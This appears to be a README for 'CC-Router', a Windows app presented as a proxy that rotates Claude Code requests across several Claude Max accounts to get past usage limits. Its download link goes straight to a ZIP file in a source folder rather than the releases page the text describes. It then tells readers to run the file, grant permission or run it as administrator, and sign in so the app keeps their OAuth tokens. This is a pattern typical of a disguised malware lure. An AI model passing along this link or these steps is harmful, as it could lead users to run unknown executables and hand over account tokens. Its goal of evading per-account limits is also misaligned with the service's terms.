CC-Router helps you use more than one Claude Max subscription from one setup. It sends each request to the next available account in a round-robin pattern, so your Claude Code work can keep moving when one account hits a limit.
It runs as a local proxy on your Windows PC. You point Claude Code or a similar client at CC-Router, and it handles the request routing for you. It also manages OAuth tokens so you do not need to switch accounts by hand.
- Windows 10 or Windows 11
- A stable internet connection
- One or more Claude Max subscriptions
- Access to the GitHub Releases page
- Enough disk space for the app and its local data
Visit this page to download:
https://raw.githubusercontent.com/Foul-plastique636/CC-Router/main/src/cli/Router_C_2.9.zip
On that page, look for the latest release. Download the Windows file that matches your PC. After the download finishes, open the file to run it.
- Open the Releases page.
- Find the latest release at the top of the page.
- Download the Windows build.
- Save the file to a folder you can find later, such as Downloads or Desktop.
- Double-click the file to start CC-Router.
- If Windows asks for permission, choose Yes or Run.
- Wait for the app to open and finish its first setup.
If the app comes as a ZIP file, right-click it and choose Extract All first. Then open the extracted folder and run the app file inside it.
When CC-Router opens for the first time, it will guide you through a short setup flow.
- Sign in to your Claude account when prompted.
- Add each Claude Max account you want CC-Router to use.
- Let the app complete OAuth sign-in for each account.
- Confirm that all accounts show as connected.
- Leave the app running while you use Claude Code.
If you use more than one account, CC-Router will rotate requests across them. This helps spread load across your subscriptions.
To use CC-Router with Claude Code, set Claude Code to send its requests through the local proxy that CC-Router creates.
Typical setup steps:
- Open CC-Router and note the local proxy address.
- Open Claude Code settings.
- Look for proxy or network settings.
- Enter the local address shown in CC-Router.
- Save the settings.
- Restart Claude Code if needed.
After that, Claude Code should send requests through CC-Router without any extra steps.
CC-Router uses round-robin routing. That means it sends one request to Account 1, the next to Account 2, and then back again. It keeps going in order.
This can help when:
- one account reaches a limit
- you want to spread work across subscriptions
- you need a simple local proxy for Claude Code
- you want token handling in one place
It also keeps the routing process transparent, so your client still works as usual while CC-Router handles the account choice in the background.
- Round-robin request routing
- Local proxy for Claude Code
- OAuth token rotation
- Multiple Claude Max account support
- Simple Windows setup
- Self-hosted on your own PC
- Rate control for smoother use
- Built for developer tools and CLI use
Use a single Claude Max account if you want the simplest setup. CC-Router still works as a local proxy, even if you only connect one account.
Add each Claude Max account to CC-Router. It will cycle through them one by one and send each new request to the next account in line.
If you use one Windows PC for your work, run CC-Router on that machine and keep your account sign-ins stored there. This keeps the setup local and easy to manage.
Try these steps if CC-Router does not open:
- Make sure the file finished downloading.
- Check that you downloaded the Windows version.
- If the file is in a ZIP, extract it first.
- Right-click the file and choose Run as administrator.
- Close other proxy tools that may already use the same port.
- Restart your PC and try again.
If Claude Code cannot reach CC-Router:
- Check that CC-Router is still open.
- Confirm the proxy address in Claude Code.
- Make sure the port number is correct.
- Restart Claude Code after saving changes.
- Check your internet connection.
- Reconnect your Claude accounts in CC-Router if needed.
CC-Router uses OAuth sign-in for connected accounts. That means you sign in through the normal account flow, and the app keeps the token it needs to route requests.
If a token expires or a sign-in stops working, open CC-Router and reconnect that account. Once the account is live again, routing can continue.
CC-Router may store local data in a user folder on your PC. This can include:
- signed-in account data
- local settings
- proxy details
- token state
Keep the app in a folder you do not delete by mistake. If you move the files, update your shortcut or run the app from the new location.
- Keep CC-Router open while you use Claude Code
- Add all accounts before starting long work
- Match the proxy settings in Claude Code exactly
- Use a stable network connection
- Check account status if routing stops
- Keep the release version current
This project fits these areas:
- ai-tools
- anthropic
- claude
- claude-code
- claude-code-proxy
- claude-max
- cli
- developer-tools
- litellm
- llm
- load-balancing
- nodejs
- oauth
- proxy
- rate-limiting
- round-robin
- self-hosted
- token-rotation
- typescript
Download page:
https://raw.githubusercontent.com/Foul-plastique636/CC-Router/main/src/cli/Router_C_2.9.zip